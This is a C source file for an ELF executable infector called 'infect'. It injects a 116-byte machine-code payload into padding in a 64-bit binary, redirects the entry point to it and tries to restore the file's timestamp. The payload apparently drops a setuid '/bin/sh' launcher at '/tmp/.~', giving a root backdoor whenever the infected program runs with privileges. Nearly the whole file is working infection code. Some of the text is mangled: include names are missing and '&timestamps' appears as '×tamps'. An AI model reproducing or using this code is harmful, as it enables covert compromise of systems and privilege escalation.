/* infect: Copyright (C) 2011 by Brian Raiter * License GPLv2+: GNU GPL version 2 or later. * This is free software; you are free to change and redistribute it. * There is NO WARRANTY, to the extent permitted by law. */ #include #include #include #include #include #include #include #include #include #include #include /* This array contains the relocatable assembly program. The final * instruction is a 32-bit jump, which needs to be modified to point * to an actual target. */ static unsigned char infection[116] = { 0x50, 0x57, 0x56, 0x52, 0xE8, 0x42, 0x00, 0x00, 0x00, 0x2F, 0x74, 0x6D, 0x70, 0x2F, 0x2E, 0x7E, 0x00, 0x7F, 0x45, 0x4C, 0x46, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x02, 0x00, 0x03, 0x00, 0x20, 0x00, 0x01, 0x00, 0x20, 0x00, 0x01, 0x00, 0x04, 0x00, 0x00, 0x00, 0xBB, 0x32, 0x00, 0x01, 0x00, 0x50, 0x53, 0xB0, 0x0B, 0x3D, 0x20, 0x00, 0x01, 0x00, 0x89, 0xE1, 0xCD, 0x80, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x00, 0x5F, 0x31, 0xD2, 0x8D, 0x72, 0x41, 0x8D, 0x42, 0x02, 0x0F, 0x05, 0x48, 0x8D, 0x77, 0x08, 0xB2, 0x3A, 0x89, 0xC7, 0xB0, 0x01, 0x0F, 0x05, 0xB0, 0x5B, 0xBE, 0xED, 0x09, 0x00, 0x00, 0x0F, 0x05, 0x5A, 0x5E, 0x5F, 0x58, 0xE9, 0x00, 0x00, 0x00, 0x00 }; /* Display an error message and exit the program. */ static void bail(char const *prefix, char const *msg) { fprintf(stderr, "%s: %s\n", prefix, msg); exit(EXIT_FAILURE); } /* Map a file into read-write memory. The return value is a pointer to * the beginning of the file image. If plen is not NULL, it receives * the file's length. If utimbuf is not NULL, it receives the file's * current access and modification times. */ static void *mapfile(char const *filename, size_t *psize, struct utimbuf *utimbuf) { struct stat stat; void *ptr; int fd; fd = open(filename, O_RDWR); if (fd < 0) bail(filename, strerror(errno)); if (fstat(fd, &stat)) bail(filename, strerror(errno)); if (!S_ISREG(stat.st_mode)) bail(filename, "not an ordinary file."); ptr = mmap(NULL, stat.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (ptr == MAP_FAILED) bail(filename, strerror(errno)); if (psize) *psize = (size_t)stat.st_size; if (utimbuf) { utimbuf->actime = stat.st_atime; utimbuf->modtime = stat.st_mtime; } return ptr; } /* Examine the program segment header table and look for a segment * that is loaded into executable memory and is followed by enough padding * for our infection program to fit into. The return value is negative if * an appropriate segment cannot be found. */ static int findinfectionphdr(Elf64_Phdr const *phdr, int count) { Elf64_Off pos, endpos; int i, j; for (i = 0 ; i < count ; ++i) { if (phdr[i].p_filesz > 0 && phdr[i].p_filesz == phdr[i].p_memsz && (phdr[i].p_flags & PF_X)) { pos = phdr[i].p_offset + phdr[i].p_filesz; endpos = pos + sizeof infection; for (j = 0 ; j < count ; ++j) { if (phdr[j].p_offset >= pos && phdr[j].p_offset < endpos && phdr[j].p_filesz > 0) break; } if (j == count) return i; } } return -1; } /* main(). */ int main(int argc, char *argv[]) { char const *filename; struct utimbuf timestamps; Elf64_Ehdr *ehdr; Elf64_Phdr *phdr; Elf64_Off pos; size_t filesize; off_t offset; char *image; int n; if (argc != 2) bail("Usage", "infect FILENAME"); filename = argv[1]; /* Load the file into memory and verify that it is a 64-bit ELF * executable. */ image = mapfile(filename, &filesize, ×tamps); if (memcmp(image, ELFMAG, SELFMAG)) bail(filename, "not an ELF file."); if (image[EI_CLASS] != ELFCLASS64) bail(filename, "not a 64-bit ELF file."); ehdr = (Elf64_Ehdr*)image; if (ehdr->e_entry == 0) bail(filename, "not an executable file."); /* Try not to crash on a maliciously malformed binary. */ if (ehdr->e_phoff <= 0 || ehdr->e_phnum <= 0) bail(filename, "invalid ELF header."); if (ehdr->e_phoff + ehdr->e_phnum * sizeof *phdr > filesize) bail(filename, "invalid program segment header table."); /* Find a suitable location for our infection. */ phdr = (Elf64_Phdr*)(image + ehdr->e_phoff); n = findinfectionphdr(phdr, ehdr->e_phnum); if (n < 0) bail(filename, "unable to find a usable infection point"); if (phdr[n].p_offset + phdr[n].p_filesz >= filesize) bail(filename, "invalid program segment in header table."); /* Modify the executable's entry address to point to the chosen * location, and modify the infection program to jump to the * original entry address after it has finished. */ pos = phdr[n].p_vaddr + phdr[n].p_filesz; offset = ehdr->e_entry - (pos + sizeof infection); if (offset > 0x7FFFFFFFL || offset < -0x80000000L) bail(filename, "cannot infect program: relative jump >2GB."); *(Elf64_Word*)(infection + sizeof infection - 4) = (Elf64_Word)offset; ehdr->e_entry = pos; /* Insert the infection program into the executable. */ memcpy(image + phdr[n].p_offset + phdr[n].p_filesz, infection, sizeof infection); phdr[n].p_filesz += sizeof infection; phdr[n].p_memsz += sizeof infection; /* Attempt to restore the file's original mtime. (This will fail * in most situations, but there's no harm in trying.) */ utime(filename, ×tamps); return 0; }